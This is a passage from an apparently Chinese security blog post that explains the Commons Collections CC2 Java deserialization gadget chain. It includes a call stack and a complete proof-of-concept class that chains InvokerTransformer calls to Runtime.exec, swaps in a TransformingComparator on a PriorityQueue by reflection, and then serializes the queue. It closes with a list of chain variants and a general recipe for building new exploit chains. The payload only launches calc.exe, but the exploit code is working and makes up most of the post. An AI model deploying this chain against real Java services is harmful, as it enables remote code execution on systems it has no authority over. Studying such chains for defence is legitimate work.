java.util.Comparator.compare(java.util.Comparator.class:-1)
类特性:[重写readObject][支持序列化]java.util.PriorityQueue
java.util.PriorityQueue.siftDownUsingComparator(java.util.Comparator.class:721)
类特性:[重写readObject][支持序列化]java.util.PriorityQueue
java.util.PriorityQueue.siftDown(java.util.PriorityQueue.class:687)
类特性:[重写readObject][支持序列化]java.util.PriorityQueue
java.util.PriorityQueue.heapify(java.util.PriorityQueue.class:736)
类特性:[重写readObject][支持序列化]java.util.PriorityQueue
java.util.PriorityQueue.readObject(java.util.PriorityQueue.class:795)
构造:
package org.example.CommonsCollections;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.example.tools.DeserializationTools;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.*;
public class CommonsCollections2 {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator comparator=new TransformingComparator(transformerChain);
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(1);
priorityQueue.add(1);
Field field2 = priorityQueue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(priorityQueue, comparator);
String s = DeserializationTools.serializeToHex(priorityQueue);
System.out.println(s);
DeserializationTools.deserializeFromHex(s);
}
}
总结
梳理CC链 POC:
- Rutime +
InvokerTransformer+LazyMap.get+AnnotationInvocationHandler动态代理(done) - Rutime +
InvokerTransformer+LazyMap.get+TiedMapEntry(hashcode、toString和equal其中任意一个方法被直接或间接调用)(done) - TemplatesImpl+
InvokerTransformer+LazyMap.get+AnnotationInvocationHandler动态代理 - TemplatesImpl+
InstantiateTransformer+LazyMap.get+AnnotationInvocationHandler动态代理 - TemplatesImpl+
InvokerTransformer+LazyMap.get+TiedMapEntry(hashcode、toString和equal其中任意一个方法被直接或间接调用) - TemplatesImpl+
InstantiateTransformer+LazyMap.get+TiedMapEntry(hashcode、toString和equal其中任意一个方法被直接或间接调用) - …
CC链的POC的整体构造思路为:命令执行的底座(恶意Transform链)+危险调用链(能触发恶意Transform链)+危险调用链的序列化封装(封装为反序列化时自动触发恶意危险调用链),其中后面两部分也可以整合成从readObject(source)到触发恶意Transform的点(sink)这样一条危险的调用链,按照这个思路就可以举一反三去构造自己想要构造的反序列化利用链。
参考:
- https://xz.aliyun.com/news/8908
- https://www.cnblogs.com/leyilea/p/18426191
3930

被折叠的 条评论
为什么被折叠?



